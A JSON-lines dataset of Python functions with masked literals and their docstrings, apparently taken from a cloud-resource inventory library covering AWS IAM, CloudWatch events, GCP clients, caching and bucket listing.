{"signature": "@modify_output<EOL>def get_managed_policy(managed_policy, flags=FLAGS.ALL, **conn):", "body": "_conn_from_args(managed_policy, conn)<EOL>return registry.build_out(flags, start_with=managed_policy, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all of the calls required to fully build out an IAM Managed Policy in the following format:\n\n{\n    \"Arn\": \"...\",\n    \"PolicyName\": \"...\",\n    \"PolicyId\": \"...\",\n    \"Path\": \"...\",\n    \"DefaultVersionId\": \"...\",\n    \"AttachmentCount\": 123,\n    \"PermissionsBoundaryUsageCount\": 123,\n    \"IsAttachable\": ...,\n    \"Description\": \"...\",\n    \"CreateDate\": \"...\",\n    \"UpdateDate\": \"...\",\n    \"Document\": \"...\",\n    \"_version\": 1\n}\n\n:param managed_policy: dict MUST contain the ARN.\n:param flags:\n:param conn:\n:return:", "id": "f10853:m1"}
{"signature": "@registry.register(flag=FLAGS.BASE)<EOL>def _get_base(server_certificate, **conn):", "body": "server_certificate['<STR_LIT>'] = <NUM_LIT:1><EOL>cert_details = get_server_certificate_api(server_certificate['<STR_LIT>'], **conn)<EOL>if cert_details:<EOL><INDENT>server_certificate.update(cert_details['<STR_LIT>'])<EOL>server_certificate['<STR_LIT>'] = cert_details['<STR_LIT>']<EOL>server_certificate['<STR_LIT>'] = cert_details.get('<STR_LIT>', None)<EOL>server_certificate['<STR_LIT>'] = get_iso_string(server_certificate['<STR_LIT>'])<EOL>server_certificate['<STR_LIT>'] = get_iso_string(server_certificate['<STR_LIT>'])<EOL><DEDENT>return server_certificate<EOL>", "docstring": "Fetch the base IAM Server Certificate.", "id": "f10854:m0"}
{"signature": "@modify_output<EOL>def get_server_certificate(server_certificate, flags=FLAGS.BASE, **conn):", "body": "if not server_certificate.get('<STR_LIT>'):<EOL><INDENT>raise MissingFieldException('<STR_LIT>')<EOL><DEDENT>server_certificate = modify(server_certificate, output='<STR_LIT>')<EOL>_conn_from_args(server_certificate, conn)<EOL>return registry.build_out(flags, start_with=server_certificate, pass_datastructure=True, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out an IAM User in the following format:\n\n{\n    \"Arn\": ...,\n    \"ServerCertificateName\": ...,\n    \"Path\": ...,\n    \"ServerCertificateId\": ...,\n    \"UploadDate\": ...,  # str\n    \"Expiration\": ...,  # str\n    \"CertificateBody\": ...,\n    \"CertificateChain\": ...,\n    \"_version\": 1\n}\n\n:param flags: By default, Users is disabled. This is somewhat expensive as it has to call the\n              `get_server_certificate` call multiple times.\n:param server_certificate: dict MUST contain the ServerCertificateName and also a combination of\n                           either the ARN or the account_number.\n:param output: Determines whether keys should be returned camelized or underscored.\n:param conn: dict containing enough information to make a connection to the desired account.\n             Must at least have 'assume_role' key.\n:return: dict containing fully built out Server Certificate.", "id": "f10854:m1"}
{"signature": "@modify_output<EOL>def get_event(rule, flags=FLAGS.ALL, **conn):", "body": "<EOL>try:<EOL><INDENT>basestring<EOL><DEDENT>except NameError as _:<EOL><INDENT>basestring = str<EOL><DEDENT>if isinstance(rule, basestring):<EOL><INDENT>rule_arn = ARN(rule)<EOL>if rule_arn.error:<EOL><INDENT>rule_name = rule<EOL><DEDENT>else:<EOL><INDENT>rule_name = rule_arn.name<EOL><DEDENT><DEDENT>rule = describe_rule(Name=rule_name, **conn)<EOL>return registry.build_out(flags, rule, **conn)<EOL>", "docstring": "Orchestrates all the calls required to fully build out a CloudWatch Event Rule in the following format:\n\n{\n    \"Arn\": ...,\n    \"Name\": ...,\n    \"Region\": ...,\n    \"Description\": ...,\n    \"State\": ...,\n    \"Rule\": ...,\n    \"Targets\" ...,\n    \"_version\": 1\n}\n\n:param rule: str cloudwatch event name\n:param flags: By default, set to ALL fields\n:param conn: dict containing enough information to make a connection to the desired account.\nMust at least have 'assume_role' key.\n:return: dict containing a fully built out event rule with targets.", "id": "f10855:m3"}
{"signature": "@registry.register(flag=FLAGS.RULES)<EOL>def get_rules(security_group, **kwargs):", "body": "rules = security_group.pop('<STR_LIT>',[])<EOL>for rule in rules:<EOL><INDENT>rule['<STR_LIT>'] = rule.pop('<STR_LIT>')<EOL>rule['<STR_LIT>'] = rule.pop('<STR_LIT>')<EOL>rule['<STR_LIT>'] = rule.pop('<STR_LIT>')<EOL>rule['<STR_LIT>'] = rule.pop('<STR_LIT>')<EOL>rule['<STR_LIT>'] = rule.pop('<STR_LIT>')<EOL><DEDENT>security_group['<STR_LIT>'] = sorted(rules)<EOL>return security_group<EOL>", "docstring": "format the rule fields to match AWS to support auditor reuse,\n        will need to remap back if we want to orchestrate from our stored items", "id": "f10856:m1"}
{"signature": "def get_item(item, **kwargs):", "body": "_item = {}<EOL>for k,v in inspect.getmembers(item, lambda a:not(inspect.isroutine(a))):<EOL><INDENT>if not k.startswith('<STR_LIT:_>') and not k in ignore_list:<EOL><INDENT>_item[k] = v<EOL><DEDENT><DEDENT>return sub_dict(_item)<EOL>", "docstring": "API versioning for each OpenStack service is independent. Generically capture\n    the public members (non-routine and non-private) of the OpenStack SDK objects.\n\nNote the lack of the modify_output decorator. Preserving the field naming allows\n    us to reconstruct objects and orchestrate from stored items.", "id": "f10857:m0"}
{"signature": "def sub_list(l):", "body": "r = []<EOL>for i in l:<EOL><INDENT>if type(i) in prims:<EOL><INDENT>r.append(i)<EOL><DEDENT>elif type(i) is list:<EOL><INDENT>r.append(sub_list(i))<EOL><DEDENT>elif type(i) is dict:<EOL><INDENT>r.append(sub_dict(i))<EOL><DEDENT>else:<EOL><INDENT>r.append(str(i))<EOL><DEDENT><DEDENT>r = sorted(r)<EOL>return r<EOL>", "docstring": "Recursively walk a data-structure sorting any lists along the way.\nAny unknown types get mapped to string representation\n\n:param l: list\n:return: sorted list, where any child lists are also sorted.", "id": "f10857:m1"}
{"signature": "def sub_dict(d):", "body": "r = {}<EOL>for k in d:<EOL><INDENT>if type(d[k]) in prims:<EOL><INDENT>r[k] = d[k]<EOL><DEDENT>elif type(d[k]) is list:<EOL><INDENT>r[k] = sub_list(d[k])<EOL><DEDENT>elif type(d[k]) is dict:<EOL><INDENT>r[k] = sub_dict(d[k])<EOL><DEDENT>else:<EOL><INDENT>r[k] = str(d[k])<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Recursively walk a data-structure sorting any lists along the way.\nAny unknown types get mapped to string representation\n\n:param d: dict\n:return: dict where any lists, even those buried deep in the structure, have been sorted.", "id": "f10857:m2"}
{"signature": "def _modify(item, func):", "body": "result = dict()<EOL>for key in item:<EOL><INDENT>result[func(key)] = item[key]<EOL><DEDENT>return result<EOL>", "docstring": "Modifies each item.keys() string based on the func passed in.\nOften used with inflection's camelize or underscore methods.\n\n:param item: dictionary representing item to be modified\n:param func: function to run on each key string\n:return: dictionary where each key has been modified by func.", "id": "f10858:m0"}
{"signature": "def modify(item, output='<STR_LIT>'):", "body": "if output == '<STR_LIT>':<EOL><INDENT>return _modify(item, camelize)<EOL><DEDENT>elif output == '<STR_LIT>':<EOL><INDENT>return _modify(item, underscore)<EOL><DEDENT>", "docstring": "Calls _modify and either passes the inflection.camelize method or the inflection.underscore method.\n\n:param item: dictionary representing item to be modified\n:param output: string 'camelized' or 'underscored'\n:return:", "id": "f10858:m1"}
{"signature": "def get_iso_string(input):", "body": "return input.replace(tzinfo=None, microsecond=<NUM_LIT:0>).isoformat() + '<STR_LIT>'<EOL>", "docstring": "Strips out the microseconds from datetime objects, and returns a proper ISO-format UTC string.\n\n    :param input: Datetime object.\n    :returns string: A datetime ISO format string with", "id": "f10862:m0"}
{"signature": "def __init__(self, **kwargs):", "body": "self.conn_details.update(kwargs)<EOL>", "docstring": "cloudaux = CloudAux(\n    **{'account_number': '000000000000',\n       'assume_role': 'role_name',\n    })", "id": "f10862:c0:m0"}
{"signature": "def call(self, function_expr, **kwargs):", "body": "if '<STR_LIT:.>' in function_expr:<EOL><INDENT>tech, service_type, function_name = function_expr.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tech = self.conn_details.get('<STR_LIT>')<EOL>service_type = self.conn_details.get('<STR_LIT>', '<STR_LIT>')<EOL>function_name = function_expr<EOL><DEDENT>@sts_conn(tech, service_type=service_type)<EOL>def wrapped_method(function_name, **nargs):<EOL><INDENT>service_type = nargs.pop(nargs.pop('<STR_LIT>', '<STR_LIT>'))<EOL>return getattr(service_type, function_name)(**nargs)<EOL><DEDENT>kwargs.update(self.conn_details)<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>del kwargs['<STR_LIT>']<EOL><DEDENT>return wrapped_method(function_name, **kwargs)<EOL>", "docstring": "cloudaux = CloudAux(\n    **{'account_number': '000000000000',\n       'assume_role': 'role_name',\n       'session_name': 'testing',\n       'region': 'us-east-1',\n       'tech': 'kms',\n       'service_type': 'client'\n    })\n\ncloudaux.call(\"list_aliases\")\ncloudaux.call(\"kms.client.list_aliases\")", "id": "f10862:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def go(function_expr, **kwargs):<DEDENT>", "body": "if '<STR_LIT:.>' in function_expr:<EOL><INDENT>tech, service_type, function_name = function_expr.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tech = kwargs.pop('<STR_LIT>')<EOL>service_type = kwargs.get('<STR_LIT>')<EOL>function_name = function_expr<EOL><DEDENT>@sts_conn(tech, service_type=service_type)<EOL>def wrapped_method(function_name, **nargs):<EOL><INDENT>service_type = nargs.pop(nargs.pop('<STR_LIT>', '<STR_LIT>'))<EOL>return getattr(service_type, function_name)(**nargs)<EOL><DEDENT>return wrapped_method(function_name, **kwargs)<EOL>", "docstring": "CloudAux.go(\n    'list_aliases',\n    **{\n        'account_number': '000000000000',\n        'assume_role': 'role_name',\n        'session_name': 'cloudaux',\n        'region': 'us-east-1',\n        'tech': 'kms',\n        'service_type': 'client'\n    })\n\nCloudAux.go(\n    'kms.client.list_aliases',\n    **{\n        'account_number': '000000000000',\n        'assume_role': 'role_name',\n        'session_name': 'cloudaux',\n        'region': 'us-east-1'\n    })", "id": "f10862:c0:m2"}
{"signature": "def get(self, key, delete_if_expired=True):", "body": "self._update_cache_stats(key, None)<EOL>if key in self._CACHE:<EOL><INDENT>(expiration, obj) = self._CACHE[key]<EOL>if expiration > self._now():<EOL><INDENT>self._update_cache_stats(key, '<STR_LIT>')<EOL>return obj<EOL><DEDENT>else:<EOL><INDENT>if delete_if_expired:<EOL><INDENT>self.delete(key)<EOL>self._update_cache_stats(key, '<STR_LIT>')<EOL>return None<EOL><DEDENT><DEDENT><DEDENT>self._update_cache_stats(key, '<STR_LIT>')<EOL>return None<EOL>", "docstring": "Retrieve key from Cache.\n\n:param key: key to look up in cache.\n:type key: ``object``\n\n:param delete_if_expired: remove value from cache if it is expired.\n                          Default is True.\n:type delete_if_expired: ``bool``\n\n:returns: value from cache or None\n:rtype: varies or None", "id": "f10864:c0:m1"}
{"signature": "def insert(self, key, obj, future_expiration_minutes=<NUM_LIT:15>):", "body": "expiration_time = self._calculate_expiration(future_expiration_minutes)<EOL>self._CACHE[key] = (expiration_time, obj)<EOL>return True<EOL>", "docstring": "Insert item into cache.\n\n:param key: key to look up in cache.\n:type key: ``object``\n\n:param obj: item to store in cache.\n:type obj: varies\n\n:param future_expiration_minutes: number of minutes item is valid\n:type param: ``int``\n\n:returns: True\n:rtype: ``bool``", "id": "f10864:c0:m2"}
{"signature": "def _update_cache_stats(self, key, result):", "body": "if result is None:<EOL><INDENT>self._CACHE_STATS['<STR_LIT>'].setdefault(key,<EOL>{'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0>})<EOL><DEDENT>else:<EOL><INDENT>self._CACHE_STATS['<STR_LIT>'][key][result] +=<NUM_LIT:1><EOL><DEDENT>", "docstring": "Update the cache stats.\n\nIf no cache-result is specified, we iniitialize the key.\nOtherwise, we increment the correct cache-result.\n\nNote the behavior for expired.  A client can be expired and the key\nstill exists.", "id": "f10864:c0:m6"}
{"signature": "def get_access_details(self, key=None):", "body": "if key in self._CACHE_STATS:<EOL><INDENT>return self._CACHE_STATS['<STR_LIT>'][key]<EOL><DEDENT>else:<EOL><INDENT>return self._CACHE_STATS['<STR_LIT>']<EOL><DEDENT>", "docstring": "Get access details in cache.", "id": "f10864:c0:m7"}
{"signature": "def get_stats(self):", "body": "expired = sum([x['<STR_LIT>'] for _, x in<EOL>self._CACHE_STATS['<STR_LIT>'].items()])<EOL>miss = sum([x['<STR_LIT>'] for _, x in<EOL>self._CACHE_STATS['<STR_LIT>'].items()])<EOL>hit = sum([x['<STR_LIT>'] for _, x in<EOL>self._CACHE_STATS['<STR_LIT>'].items()])<EOL>return {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': len(self._CACHE_STATS['<STR_LIT>']),<EOL>'<STR_LIT>': expired,<EOL>'<STR_LIT>': miss,<EOL>'<STR_LIT>': hit,<EOL>}<EOL>}<EOL>", "docstring": "Get general stats for the cache.", "id": "f10864:c0:m8"}
{"signature": "@gcp_stats()<EOL>@gcp_cache(future_expiration_minutes=<NUM_LIT:15>)<EOL>def get_client(service, service_type='<STR_LIT>', **conn_args):", "body": "client_details = choose_client(service)<EOL>user_agent = get_user_agent(**conn_args)<EOL>if client_details:<EOL><INDENT>if client_details['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>client = get_gcp_client(<EOL>mod_name=client_details['<STR_LIT>'],<EOL>pkg_name=conn_args.get('<STR_LIT>', '<STR_LIT>'),<EOL>key_file=conn_args.get('<STR_LIT>', None),<EOL>project=conn_args['<STR_LIT>'], user_agent=user_agent)<EOL><DEDENT>else:<EOL><INDENT>client = get_google_client(<EOL>mod_name=client_details['<STR_LIT>'],<EOL>key_file=conn_args.get('<STR_LIT>', None),<EOL>user_agent=user_agent, api_version=conn_args.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>client = get_google_client(<EOL>mod_name=service, key_file=conn_args.get('<STR_LIT>', None),<EOL>user_agent=user_agent, api_version=conn_args.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>return client_details, client<EOL>", "docstring": "User function to get the correct client.\n\nBased on the GOOGLE_CLIENT_MAP dictionary, the return will be a cloud or general\nclient that can interact with the desired service.\n\n:param service: GCP service to connect to. E.g. 'gce', 'iam'\n:type service: ``str``\n\n:param conn_args: Dictionary of connection arguments.  'project' is required.\n                  'user_agent' can be specified and will be set in the client\n                   returned.\n:type conn_args: ``dict``\n\n:return: client_details, client\n:rtype: ``tuple`` of ``dict``, ``object``", "id": "f10865:m0"}
{"signature": "def choose_client(service):", "body": "client_options = get_available_clients(service)<EOL>if client_options:<EOL><INDENT>return client_options[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "Logic to choose the appropriate client.\n\n:param service: Google Cloud service name. Examples: 'iam', 'gce'.\n:type service: ``str``\n\n:return: specific dictionary recommended for a particular service.\n:rtype: ``dict``", "id": "f10865:m1"}
{"signature": "def get_available_clients(service):", "body": "details = GOOGLE_CLIENT_MAP.get(service, None)<EOL>if details:<EOL><INDENT>return [details]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return clients available for this service.\n\n:param service: Google Cloud service name. Examples: 'iam', 'gce'.\n:type service: ``str``\n\n:return: list of dictionaries describing the clients available.\n:rtype: ``list``", "id": "f10865:m2"}
{"signature": "def get_gcp_client(**kwargs):", "body": "return _gcp_client(project=kwargs['<STR_LIT>'], mod_name=kwargs['<STR_LIT>'],<EOL>pkg_name=kwargs.get('<STR_LIT>', '<STR_LIT>'),<EOL>key_file=kwargs.get('<STR_LIT>', None),<EOL>http_auth=kwargs.get('<STR_LIT:http>', None),<EOL>user_agent=kwargs.get('<STR_LIT>', None))<EOL>", "docstring": "Public GCP client builder.", "id": "f10865:m3"}
{"signature": "def _gcp_client(project, mod_name, pkg_name, key_file=None, http_auth=None,<EOL>user_agent=None):", "body": "client = None<EOL>if http_auth is None:<EOL><INDENT>http_auth = _googleauth(key_file=key_file, user_agent=user_agent)<EOL><DEDENT>try:<EOL><INDENT>google_module = importlib.import_module('<STR_LIT:.>' + mod_name,<EOL>package=pkg_name)<EOL>client = google_module.Client(use_GAX=USE_GAX, project=project,<EOL>http=http_auth)<EOL><DEDENT>except ImportError as ie:<EOL><INDENT>import_err = '<STR_LIT>' % (pkg_name, mod_name)<EOL>raise ImportError(import_err)<EOL><DEDENT>except TypeError:<EOL><INDENT>client = google_module.Client(project=project, http=http_auth)<EOL><DEDENT>if user_agent and hasattr(client, '<STR_LIT>'):<EOL><INDENT>client.user_agent = user_agent<EOL><DEDENT>return client<EOL>", "docstring": "Private GCP client builder.\n\n:param project: Google Cloud project string.\n:type project: ``str``\n\n:param mod_name: Module name to load.  Should be found in sys.path.\n:type mod_name: ``str``\n\n:param pkg_name: package name that mod_name is part of.  Default is 'google.cloud' .\n:type pkg_name: ``str``\n\n:param key_file: Default is None.\n:type key_file: ``str`` or None\n\n:param http_auth: httplib2 authorized client. Default is None.\n:type http_auth: :class: `HTTPLib2`\n\n:param user_agent: User Agent string to use in requests. Default is None.\n:type http_auth: ``str`` or None\n\n:return: GCP client\n:rtype: ``object``", "id": "f10865:m4"}
{"signature": "def _googleauth(key_file=None, scopes=[], user_agent=None):", "body": "if key_file:<EOL><INDENT>if not scopes:<EOL><INDENT>scopes = DEFAULT_SCOPES<EOL><DEDENT>creds = ServiceAccountCredentials.from_json_keyfile_name(key_file,<EOL>scopes=scopes)<EOL><DEDENT>else:<EOL><INDENT>creds = GoogleCredentials.get_application_default()<EOL><DEDENT>http = Http()<EOL>if user_agent:<EOL><INDENT>http = set_user_agent(http, user_agent)<EOL><DEDENT>http_auth = creds.authorize(http)<EOL>return http_auth<EOL>", "docstring": "Google http_auth helper.\n\nIf key_file is not specified, default credentials will be used.\n\nIf scopes is specified (and key_file), will be used instead of DEFAULT_SCOPES\n\n:param key_file: path to key file to use. Default is None\n:type key_file: ``str``\n\n:param scopes: scopes to set.  Default is DEFAUL_SCOPES\n:type scopes: ``list``\n\n:param user_agent: User Agent string to use in requests. Default is None.\n:type http_auth: ``str`` or None\n\n:return: HTTPLib2 authorized client.\n:rtype: :class: `HTTPLib2`", "id": "f10865:m7"}
{"signature": "def _build_google_client(service, api_version, http_auth):", "body": "client = build(service, api_version, http=http_auth)<EOL>return client<EOL>", "docstring": "Google build client helper.\n\n:param service: service to build client for\n:type service: ``str``\n\n:param api_version: API version to use.\n:type api_version: ``str``\n\n:param http_auth: Initialized HTTP client to use.\n:type http_auth: ``object``\n\n:return: google-python-api client initialized to use 'service'\n:rtype: ``object``", "id": "f10865:m8"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def list_firewall_rules(client=None, **kwargs):", "body": "return gce_list(service=client.firewalls(),<EOL>**kwargs)<EOL>", "docstring": ":rtype: ``list``", "id": "f10866:m0"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def list_networks(client=None, **kwargs):", "body": "return gce_list(service=client.networks(),<EOL>**kwargs)<EOL>", "docstring": ":rtype: ``list``", "id": "f10867:m0"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def list_subnetworks(client=None, **kwargs):", "body": "return gce_list_aggregated(service=client.subnetworks(),<EOL>key_name='<STR_LIT>', **kwargs)<EOL>", "docstring": ":rtype: ``list``", "id": "f10867:m1"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def list_buckets(client=None, **kwargs):", "body": "buckets = client.list_buckets(**kwargs)<EOL>return [b.__dict__ for b in buckets]<EOL>", "docstring": "List buckets for a project.\n\n:param client: client object to use.\n:type client: Google Cloud Storage client\n\n:returns: list of dictionary reprsentation of Bucket\n:rtype: ``list`` of ``dict``", "id": "f10868:m0"}
{"signature": "@gcp_conn('<STR_LIT>')<EOL>def get_bucket(client=None, **kwargs):", "body": "bucket = client.lookup_bucket(kwargs['<STR_LIT>'])<EOL>return bucket<EOL>", "docstring": "Get bucket object.\n\n:param client: client object to use.\n:type client: Google Cloud Storage client\n\n:returns: Bucket object\n:rtype: ``object``", "id": "f10868:m1"}
{"signature": "def get_bucket_field(**kwargs):", "body": "bucket = get_bucket(**kwargs)<EOL>if bucket:<EOL><INDENT>return getattr(bucket, kwargs['<STR_LIT>'], None)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get value from member field of bucket object.\n\n:param Field: name of member of Bucket object to return.\n:type Field: ``str``\n\n:returns: value contained by the specified member field.\n:rtype: varies", "id": "f10868:m2"}
{"signature": "def list_objects_in_bucket(**kwargs):", "body": "bucket = get_bucket(**kwargs)<EOL>if bucket:<EOL><INDENT>return [o for o in bucket.list_blobs()]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "List objects in bucket.\n\n:param Bucket: name of bucket\n:type Bucket: ``str``\n\n:returns list of objects in bucket\n:rtype: ``list``", "id": "f10868:m3"}
{"signature": "def get_object_in_bucket(**kwargs):", "body": "bucket = get_bucket(**kwargs)<EOL>if bucket:<EOL><INDENT>return bucket.get_blob(kwargs['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Retrieve object from Bucket.\n\n:param Bucket: name of bucket\n:type Bucket: ``str``\n\n:returns: object from bucket or None\n:rtype ``object`` or None", "id": "f10868:m4"}
{"signature": "def get_creds_from_kwargs(kwargs):", "body": "creds = {<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>'<STR_LIT>': kwargs.get('<STR_LIT>', None),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>}<EOL>return (creds, kwargs)<EOL>", "docstring": "Helper to get creds out of kwargs.", "id": "f10869:m1"}
{"signature": "def rewrite_kwargs(conn_type, kwargs, module_name=None):", "body": "if conn_type != '<STR_LIT>' and module_name != '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT:name>'] = '<STR_LIT>' % kwargs.pop('<STR_LIT>')<EOL><DEDENT><DEDENT>if conn_type == '<STR_LIT>' and module_name == '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>del kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>return kwargs<EOL>", "docstring": "Manipulate connection keywords.\n\nModifieds keywords based on connection type.\n\nThere is an assumption here that the client has\nalready been created and that these keywords are being\npassed into methods for interacting with various services.\n\nCurrent modifications:\n- if conn_type is not cloud and module is 'compute', \n  then rewrite project as name.\n- if conn_type is cloud and module is 'storage',\n  then remove 'project' from dict.\n\n:param conn_type: E.g. 'cloud' or 'general'\n:type conn_type: ``str``\n\n:param kwargs: Dictionary of keywords sent in by user.\n:type kwargs: ``dict``\n\n:param module_name: Name of specific module that will be loaded.\n                    Default is None.\n:type conn_type: ``str`` or None\n\n:returns kwargs with client and module specific changes\n:rtype: ``dict``", "id": "f10869:m2"}
{"signature": "def gce_list_aggregated(service=None, key_name='<STR_LIT:name>', **kwargs):", "body": "resp_list = []<EOL>req = service.aggregatedList(**kwargs)<EOL>while req is not None:<EOL><INDENT>resp = req.execute()<EOL>for location, item in resp['<STR_LIT>'].items():<EOL><INDENT>if key_name in item:<EOL><INDENT>resp_list.extend(item[key_name])<EOL><DEDENT><DEDENT>req = service.aggregatedList_next(previous_request=req,<EOL>previous_response=resp)<EOL><DEDENT>return resp_list<EOL>", "docstring": "General aggregated list function for the GCE service.", "id": "f10869:m3"}
{"signature": "def gce_list(service=None, **kwargs):", "body": "resp_list = []<EOL>req = service.list(**kwargs)<EOL>while req is not None:<EOL><INDENT>resp = req.execute()<EOL>for item in resp.get('<STR_LIT>', []):<EOL><INDENT>resp_list.append(item)<EOL><DEDENT>req = service.list_next(previous_request=req, previous_response=resp)<EOL><DEDENT>return resp_list<EOL>", "docstring": "General list function for the GCE service.", "id": "f10869:m4"}
{"signature": "def service_list(service=None, key_name=None, **kwargs):", "body": "resp_list = []<EOL>req = service.list(**kwargs)<EOL>while req is not None:<EOL><INDENT>resp = req.execute()<EOL>if key_name and key_name in resp:<EOL><INDENT>resp_list.extend(resp[key_name])<EOL><DEDENT>else:<EOL><INDENT>resp_list.append(resp)<EOL><DEDENT>if hasattr(service, '<STR_LIT>'):<EOL><INDENT>req = service.list_next(previous_request=req,<EOL>previous_response=resp)<EOL><DEDENT>else:<EOL><INDENT>req = None<EOL><DEDENT><DEDENT>return resp_list<EOL>", "docstring": "General list function for Google APIs.", "id": "f10869:m5"}
{"signature": "def get_cache_stats():", "body": "from cloudaux.gcp.decorators import _GCP_CACHE<EOL>return _GCP_CACHE.get_stats()<EOL>", "docstring": "Helper to retrieve stats cache.", "id": "f10869:m6"}
{"signature": "def get_cache_access_details(key=None):", "body": "from cloudaux.gcp.decorators import _GCP_CACHE<EOL>return _GCP_CACHE.get_access_details(key=key)<EOL>", "docstring": "Retrieve detailed cache information.", "id": "f10869:m7"}
{"signature": "def get_gcp_stats():", "body": "from cloudaux.gcp.decorators import _GCP_STATS<EOL>return _GCP_STATS<EOL>", "docstring": "Retrieve stats, such as function timings.", "id": "f10869:m8"}
{"signature": "def get_user_agent_default(pkg_name='<STR_LIT>'):", "body": "version = '<STR_LIT>'<EOL>try:<EOL><INDENT>import pkg_resources<EOL>version = pkg_resources.get_distribution(pkg_name).version<EOL><DEDENT>except pkg_resources.DistributionNotFound:<EOL><INDENT>pass<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>return '<STR_LIT>' % (version)<EOL>", "docstring": "Get default User Agent String.\n\nTry to import pkg_name to get an accurate version number.\n\nreturn: string", "id": "f10869:m9"}
{"signature": "def get_user_agent(**kwargs):", "body": "user_agent = kwargs.get('<STR_LIT>', None)<EOL>if not user_agent:<EOL><INDENT>return get_user_agent_default()<EOL><DEDENT>return user_agent<EOL>", "docstring": "If there is a useragent, find it.\n\nLook in the keywords for user_agent. If not found,\nreturn get_user_agent_default", "id": "f10869:m10"}
{"signature": "def _build_key(func_name, args, kwargs):", "body": "return \"<STR_LIT>\" % (func_name, args, kwargs)<EOL>", "docstring": "Builds key for cache and stats.", "id": "f10870:m0"}
{"signature": "def gcp_conn(service, service_type='<STR_LIT>', future_expiration_minutes=<NUM_LIT:15>):", "body": "def decorator(f):<EOL><INDENT>@wraps(f)<EOL>def decorated_function(*args, **kwargs):<EOL><INDENT>from cloudaux.gcp.auth import get_client<EOL>(conn_args, kwargs) = get_creds_from_kwargs(kwargs)<EOL>client_details, client = get_client(<EOL>service, service_type=service_type,<EOL>future_expiration_minutes=<NUM_LIT:15>, **conn_args)<EOL>if client_details:<EOL><INDENT>kwargs = rewrite_kwargs(client_details['<STR_LIT>'], kwargs,<EOL>client_details['<STR_LIT>'])<EOL><DEDENT>kwargs['<STR_LIT>'] = client<EOL>return f(*args, **kwargs)<EOL><DEDENT>return decorated_function<EOL><DEDENT>return decorator<EOL>", "docstring": "service_type: not currently used.", "id": "f10870:m1"}
{"signature": "def gcp_stats():", "body": "def decorator(f):<EOL><INDENT>@wraps(f)<EOL>def decorated_function(*args, **kwargs):<EOL><INDENT>start_time = time.time()<EOL>result = f(*args, **kwargs)<EOL>end_time = time.time()<EOL>strkey = _build_key(f.__name__, args, kwargs)<EOL>_GCP_STATS.setdefault(strkey, []).append(end_time - start_time)<EOL>return result<EOL><DEDENT>return decorated_function<EOL><DEDENT>return decorator<EOL>", "docstring": "Collect stats\n\nSpecifically, time function calls\n:returns: function response\n:rtype: varies", "id": "f10870:m2"}
{"signature": "def gcp_cache(future_expiration_minutes=<NUM_LIT:15>):", "body": "def decorator(f):<EOL><INDENT>@wraps(f)<EOL>def decorated_function(*args, **kwargs):<EOL><INDENT>strkey = _build_key(f.__name__, args, kwargs)<EOL>cached_result = _GCP_CACHE.get(strkey)<EOL>if cached_result:<EOL><INDENT>return cached_result<EOL><DEDENT>else:<EOL><INDENT>result = f(*args, **kwargs)<EOL>_GCP_CACHE.insert(strkey, result, future_expiration_minutes)<EOL><DEDENT>return result<EOL><DEDENT>return decorated_function<EOL><DEDENT>return decorator<EOL>", "docstring": "Cache function output\n:param future_expiration_minutes: Number of minutes in the future until item\n                                  expires.  Default is 15.\n:returns: function response, optionally from the cache\n:rtype: varies", "id": "f10870:m3"}
{"signature": "def iter_project(projects, key_file=None):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def decorated_function(*args, **kwargs):<EOL><INDENT>item_list = []<EOL>exception_map = {}<EOL>for project in projects:<EOL><INDENT>if isinstance(project, string_types):<EOL><INDENT>kwargs['<STR_LIT>'] = project<EOL>if key_file:<EOL><INDENT>kwargs['<STR_LIT>'] = key_file<EOL><DEDENT><DEDENT>elif isinstance(project, dict):<EOL><INDENT>kwargs['<STR_LIT>'] = project['<STR_LIT>']<EOL>kwargs['<STR_LIT>'] = project['<STR_LIT>']<EOL><DEDENT>itm, exc = func(*args, **kwargs)<EOL>item_list.extend(itm)<EOL>exception_map.update(exc)<EOL><DEDENT>return (item_list, exception_map)<EOL><DEDENT>return decorated_function<EOL><DEDENT>return decorator<EOL>", "docstring": "Call decorated function for each item in project list.\n\nNote: the function 'decorated' is expected to return a value plus a dictionary of exceptions.\n\nIf item in list is a dictionary, we look for a 'project' and 'key_file' entry, respectively.\nIf item in list is of type string_types, we assume it is the project string. Default credentials\nwill be used by the underlying client library.\n\n:param projects: list of project strings or list of dictionaries\n                 Example: {'project':..., 'keyfile':...}. Required.\n:type projects: ``list`` of 